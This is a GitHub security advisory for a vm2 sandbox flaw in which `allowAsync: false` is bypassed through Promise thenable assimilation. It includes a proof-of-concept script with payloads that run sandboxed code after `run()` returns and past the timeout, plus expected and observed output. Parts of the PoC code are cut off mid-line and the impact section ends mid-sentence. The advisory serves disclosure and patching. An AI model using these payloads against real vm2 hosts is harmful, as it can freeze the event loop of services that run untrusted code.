GitHub Advisoryadvisory · npm

GHSA-f8gf-w286-fmq2 vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM

HIGH Published 2026-10-05 Modified 2026-10-05 Official page ↗
Aliases
CVE-2026-92959
Ecosystem
npm
Packages
vm2
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
Weaknesses
CWE-693
Reviewed
2026-10-05

Affected packages

• npm vm2: < 3.11.8 → fixed in 3.11.8

Description

Summary When `allowAsync` is set to `false`, vm2 is expected to reject attempts to run asynchronous code. Direct use of `Promise.prototype.then` is blocked, but Promise static methods still assimilate attacker-controlled thenables. `Promise.resolve(thenable)`, `Promise.all([thenable])`, `Promise.race([thenable])`, `Promise.any([thenable])`, and `Promise.allSettled([thenable])` can invoke the thenable's `then` method in a microtask after `VM.run()` or `NodeVM.run()` has already returned. This bypasses the documented async-execution restriction and runs outside the configured `timeout`, allowing sandboxed code to continue executing after the host believes execution is complete. Details The documented VM option says `allowAsync: false` should cause attempts to run async code to throw a `VMError`; README.md:139-145 also recommends using it with `timeout`. The implementation enforces part of this policy by replacing `localPromise.prototype.then` with an `AsyncErrorHandler` when async is disabled: • `lib/setup-sandbox.js:1629-1637` defines `AsyncErrorHandler`, whose `apply` and `construct` traps throw `VMError: Async not available`. • `lib/setup-sandbox.js:1743-1752` installs that handler on `localPromise.prototype.then` when `allowAsync` is false. However, Promise static methods are still exposed and rebound to `localPromise`: • `lib/setup-sandbox.js:1816-1819` wraps `Promise.all`. • `lib/setup-sandbox.js:1821-1824` wraps `Promise.race`. • `lib/setup-sandbox.js:1826-1830` wraps `Promise.allSettled`. • `lib/setup-sandbox.js:1833-1837` wraps `Promise.any`. • `lib/setup-sandbox.js:1840-1843` wraps `Promise.resolve`. Those wrappers prevent species attacks by forcing `localPromise` as the constructor, but they do not reject or neutralize thenables when `allowAsync` is false. Native Promise resolution then performs `PromiseResolveThenableJob` and calls the attacker-controlled `then` method asynchronously. That job does not go through the patched `localPromise.prototype.then` method, so the `AsyncErrorHandler` is never reached. `NodeVM` inherits the same sandbox Promise setup through `VM` (`lib/nodevm.js:328-332`), so the same thenable-assimilation bypass is reachable in `NodeVM` as well. The transformer fast path is not the root cause, but it explains why the minimal PoC is parser-independent: payloads below contain none of `catch`, `import`, `async`, `with`, the internal state identifier, or `\u`, so `lib/transformer.js:82-89` returns without AST parsing. PoC Maintainer-runnable clean-checkout recipe: ```sh npm install node - events.push(value)}}); try { const ret = vm.run(code); console.log(`${name}: returned ${ret}`); } catch (e) { console.log(`${name}: threw ${e.name}:${e.message}`); } await new Promise(resolve => setImmediate(resolve)); console.log(`${name} events: ${events.length ? events.join(',') : ''}`); } async function runNodeVmCase(name, code) { const events = []; const vm = new NodeVM({allowAsync: false, sandbox: {mark: value => events.push(value)}}); try { const ret = vm.run(code); console.log(`${name}: returned ${ret}`); } catch (e) { console.log(`${name}: threw ${e.name}:${e.message}`); } await new Promise(resolve => setImmediate(resolve)); console.log(`${name} events: ${events.length ? events.join(',') : ''}`); } (async () => { await runVmCase('VM Promise.resolve thenable', `Promise.resolve({then(r){mark('resolve-thenable')}}); 1`); await runVmCase('VM Promise.all thenable', `Promise.all([{then(r){mark('all-thenable')}}]); 1`); await runVmCase('VM Promise.race thenable', `Promise.race([{then(r){mark('race-thenable')}}]); 1`); await runVmCase('VM Promise.any thenable', `Promise.any([{then(r){mark('any-thenable')}}]); 1`); await runVmCase('VM Promise.allSettled thenable', `Promise.allSettled([{then(r){mark('allSettled-thenable')}}]); 1`); await runVmCase('VM direct then negative control', `Promise.resolve(1).then(function(){mark('direct')}); 1`); await runNodeVmCase('NodeVM Promise.resolve thenable', `Promise.resolve({then(r){mark('nodevm-resolve-thenable')}}); module.exports = 1;`); await runNodeVmCase('NodeVM direct then negative control', `Promise.resolve(1).then(function(){mark('nodevm-direct')}); module.exports = 1;`); const timeoutEvents = []; const timeoutVm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => timeoutEvents.push(value)}}); const started = Date.now(); const ret = timeoutVm.run(`Promise.resolve({then(){var t=Date.now();while(Date.now()-t setImmediate(resolve)); console.log(`timeout case returned: ${ret}`); console.log(`timeout case runReturnedInMs: ${afterRun - started}`); console.log(`timeout case events: ${timeoutEvents.length}`); console.log(`timeout case elapsedMs: ${Date.now() - started}`); })(); NODE ``` Expected vulnerable output pattern: ```text VM Promise.resolve thenable: returned 1 VM Promise.resolve thenable events: resolve-thenable VM Promise.all thenable: returned 1 VM Promise.all thenable events: all-thenable VM Promise.race thenable: returned 1 VM Promise.race thenable events: race-thenable VM Promise.any thenable: returned 1 VM Promise.any thenable events: any-thenable VM Promise.allSettled thenable: returned 1 VM Promise.allSettled thenable events: allSettled-thenable VM direct then negative control: threw VMError:Async not available VM direct then negative control events: NodeVM Promise.resolve thenable: returned 1 NodeVM Promise.resolve thenable events: nodevm-resolve-thenable NodeVM direct then negative control: threw VMError:Async not available NodeVM direct then negative control events: timeout case returned: 1 timeout case runReturnedInMs: 0 timeout case events: 1 timeout case elapsedMs: 35 ``` Observed local output from this environment, using temporary local `acorn`/`acorn-walk` stubs only because dependencies were not installed and the payloads take the transformer fast path without invoking the parser: ```json { "results": [ ["Promise.resolve thenable", "run-returned", 1], ["Promise.resolve thenable events", "resolve-thenable"], ["Promise.all thenable", "run-returned", 1], ["Promise.all thenable events", "all-thenable"], ["Promise.race thenable", "run-returned", 1], ["Promise.race thenable events", "race-thenable"], ["Promise.any thenable", "run-returned", 1], ["Promise.any thenable events", "any-thenable"], ["Promise.allSettled thenable", "run-returned", 1], ["Promise.allSettled thenable events", "allSettled-thenable"], ["direct then control", "threw", "VMError:Async not available"], ["direct then control events", ""] ], "timeoutCase": { "ret": 1, "runReturnedInMs": 0, "events": [1779866562491], "elapsedMs": 35 } } ``` Observed `NodeVM` variant output: ```text NodeVM Promise.resolve thenable: returned 1 NodeVM Promise.resolve thenable events: nodevm-resolve-thenable NodeVM direct then control: threw VMError:Async not available NodeVM direct then control events: ``` Impact Applications commonly combine `timeout` with `allowAsync: false` so untrusted scripts run synchronously and cannot continue after `run()` returns. This issue breaks that security boundary. A sandboxed script can schedule a Promise thenable job, have `VM.run()` return successfully, and execute attacker-controlled code afterward. Because the code runs after `VM.run()` has returned, the configured timeout no longer interrupts it. A malicious thenable can use this to block the host Node.js event loop after the host believes the sandbox run is finished. The proof above uses a bounded 35 ms loop for safety, but the same primitive can…

Related

Alias · CVE (1)

  • CVE-2026-92959 vm2 before 3.11.8 does not fully enforce the allowAsync: false option in VM and NodeVM. vulnerability

Weakness · CWE (1)

  • CWE-693 Protection Mechanism Failure weakness

References